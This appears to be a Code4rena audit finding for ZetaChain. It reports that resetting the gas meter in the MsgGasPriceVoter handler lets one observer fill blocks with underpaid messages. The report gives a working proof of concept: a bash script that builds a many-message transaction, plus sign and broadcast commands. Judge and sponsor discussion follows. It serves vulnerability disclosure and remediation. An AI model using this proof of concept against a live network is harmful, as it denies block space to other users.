code-423n4 / 2023-11-zetachain-findings

0 stars 0 forks source link

A single malicious observer can fill the block space with `MsgGasPriceVoter` messages without proper gas compensation resulting in griefing blocks #398

Open c4-bot-7 opened 9 months ago

c4-bot-7 commented 9 months ago

Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/crosschain/keeper/keeper_gas_price.go#L184

Vulnerability details

Impact

ZetaChain blocks can be griefed by a single observer, resulting in the block space being filled with MsgGasPriceVoter messages, preventing other transactions from being processed.

Proof of Concept

Observers submit the gas prices of the external (connected) chains by sending the MsgGasPriceVoter message to ZetaChain. This message is handled in the GasPriceVoter function.

The median gas price is then set in the zEVM's system contract by calling the SetGasPrice function in line 174.

125: func (k msgServer) GasPriceVoter(goCtx context.Context, msg *types.MsgGasPriceVoter) (*types.MsgGasPriceVoterResponse, error) {
...     // [...]
173:
174:    gasUsed, err := k.fungibleKeeper.SetGasPrice(
175:        ctx,
176:        chainIDBigINT,
177:        math.NewUint(gasPrice.Prices[gasPrice.MedianIndex]).BigInt(),
178:    )
179:    if err != nil {
180:        return nil, err
181:    }
182:
183:    // reset the gas count
184: ❌ k.ResetGasMeterAndConsumeGas(ctx, gasUsed)
185:
186:    return &types.MsgGasPriceVoterResponse{}, nil
187: }

As this is a call to the zEVM (Evmos) and gas for this EVM call is accounted differently than gas in Cosmos SDK, the gas meter is reset in line 184 by calling the ResetGasMeterAndConsumeGas function to match the EVM's gas consumption, i.e., consume the amount of gas the EVM has consumed instead of the Cosmos SDK gas.

206: // ResetGasMeterAndConsumeGas reset first the gas meter consumed value to zero and set it back to the new value
207: // 'gasUsed'
208: func (k *Keeper) ResetGasMeterAndConsumeGas(ctx sdk.Context, gasUsed uint64) {
209:    // reset the gas count
210:    ctx.GasMeter().RefundGas(ctx.GasMeter().GasConsumed(), "reset the gas count")
211:    ctx.GasMeter().ConsumeGas(gasUsed, "apply evm transaction")
212: }

This is typically done by Evmos for MsgEthereumTx messages, as explained in the Evmos documentation - "Matching EVM Gas consumption".

In this instance, the MsgGasPriceVoter message (sent by observers), specifically, the consumed gas, does not necessarily have to match the EVM gas model.

However, contrary to Evmos, the transaction's gas meter is reset on every MsgGasPriceVoter message, ignoring the accumulated gas consumption for multiple messages within a Cosmos SDK transaction (Cosmos allows multiple messages per transaction).

Concretely, Evmos uses the accumulated gas used by multiple messages to ensure that the gas meter accounts for the gas consumed by all messages.

As a result, only the gas for the last MsgGasPriceVoter message is accounted for, and the gas for all previous messages is ignored, allowing the sender (observer) to send a high number of MsgGasPriceVoter messages and only paying the gas for a single message execution.

Consequently, a malicious observer can exploit this to grief ZetaChain blocks so that blocks are mostly filled with MsgGasPriceVoter messages (or any other messages that consume a lot of gas), preventing other transactions from being processed.

This represents a privilege escalation as single observes are not supposed to have such a significant impact on the ZetaChain's block space, and thus, medium severity was chosen.

Please note: This submission demonstrates how the whole ZetaChain network (not only inbound/outbound cctxs) can be significantly impacted (and griefed) by a single observer. Contrary to the medium severity submission "Observer can halt outbound cctx's and steal funds", which only impacts outbound cctx's.

PoC

This quick and dirty proof of concept should demonstrate that the transaction gas meter only consumes a single MsgGasPriceVoter message.

  1. Start a local ZetaChain environment with make start-smoke-test and wait until everything is started

  2. Access the zetacore0 docker container with docker exec -it zetacore0 sh

  3. Determine the observer address with zetacored keys show operator. Pick the address value and replace the subsequent OBSERVER_ADDRESS placeholder with it.

  4. Copy and paste the following bash script into a file called gas.sh:

    #!/bin/bash
    
    # Number of times to repeat the message
    num_messages=$1
    
    # Address to be used
    address=$2
    
    # Start of the JSON file
    json_start='{
     "body": {
       "messages": ['
    
    # Message template
    message_template='{
           "@type": "/zetachain.zetacore.crosschain.MsgGasPriceVoter",
           "creator": "'$address'",
           "chain_id": "1337",
           "price": "10000000001",
           "block_number": "101",
           "supply": "100"
         }'
    
    # End of the JSON file
    json_end='
       ],
       "memo": "",
       "timeout_height": "0",
       "extension_options": [],
       "non_critical_extension_options": []
     },
     "auth_info": {
       "signer_infos": [],
       "fee": {
         "amount": [
           {
             "denom": "azeta",
             "amount": "51803"
           }
         ],
         "gas_limit": "518280",
         "payer": "",
         "granter": ""
       },
       "tip": null
     },
     "signatures": []
    }'
    
    # Combine all parts
    json=$json_start
    
    # Add the messages
    for ((i=1; i<=$num_messages; i++))
    do
     json+=$message_template
    
     if (( i != num_messages ))
     then
       json+=','
     fi
    done
    
    json+=$json_end
    
    echo "$json" > gas.json
  5. chmod +x gas.sh and run with ./gas.sh 100 OBSERVER_ADDRESS. This will generate a transaction with 100 MsgGasPriceVoter messages and stores it in gas.json.

  6. Sign the transaction

    zetacored tx sign gas.json --from OBSERVER_ADDRESS --gas=auto --gas-prices=0.4azeta --gas-adjustment=20 --chain-id=athens_101-1 --keyring-backend=test -y --broadcast-mode=block > tx.signed.json
  7. Broadcast the transaction with zetacored tx broadcast tx.signed.json

  8. Query the transaction hash to determine the used gas. Replace HASH with the transaction hash from the previous step.

    zetacored q tx --type=hash HASH | grep "gas_used"
  9. Step 8 should print something like gas_used: "28704" (the actual value may vary). This is the total gas used by the transaction. However, this value should be much higher as the transaction contains 100 MsgGasPriceVoter messages. This indicates that the gas meter is reset on every MsgGasPriceVoter message (you can verify it by determining the gas usage from a single MsgGasPriceVoter)

Tools Used

Manual review

Recommended mitigation steps

Consider not resetting the gas meter for MsgGasPriceVoter messages.

Assessed type

DoS

c4-pre-sort commented 9 months ago

DadeKuma marked the issue as duplicate of #410

c4-pre-sort commented 9 months ago

DadeKuma marked the issue as sufficient quality report

c4-judge commented 8 months ago

0xean marked the issue as satisfactory

berndartmueller commented 8 months ago

Both this submission and #410 allow an observer to maliciously fill the block space by exploiting MsgGasPriceVoter messages and thus griefing blocks.

However, the issue outlined here demonstrates that resetting the gas meter in the MsgGasPriceVoter message handler (in keeper_gas_price.go#L184 completely resets the gas meter which may have accumulated gas that has been consumed by previous messages in the same transaction.

Even if the root cause in #410 is fixed, an observer is still able to grief blocks (as demonstrated in this submission).

According to Verdict: Similar exploits under a single issue from the C4 Supreme Court Session, as the root cause in this submission is different from #410, this would make it eligible for being a separate issue.

For the above-mentioned reasons, I would like to request a second look at this submission. Thanks a lot!

0xean commented 8 months ago

Similiar to the last one, I disagree to a certain extent. The issue isn't a single line of code, the issue is that broadly the code doesn't anticipate multiple messages being handle together correctly. That being said, the issue are in different sections of the code and not the same function like the last one, so i will agree to seperate these out.

c4-judge commented 8 months ago

0xean marked the issue as not a duplicate

c4-judge commented 8 months ago

0xean marked the issue as primary issue

c4-judge commented 8 months ago

0xean marked the issue as selected for report

c4-sponsor commented 7 months ago

lumtis (sponsor) confirmed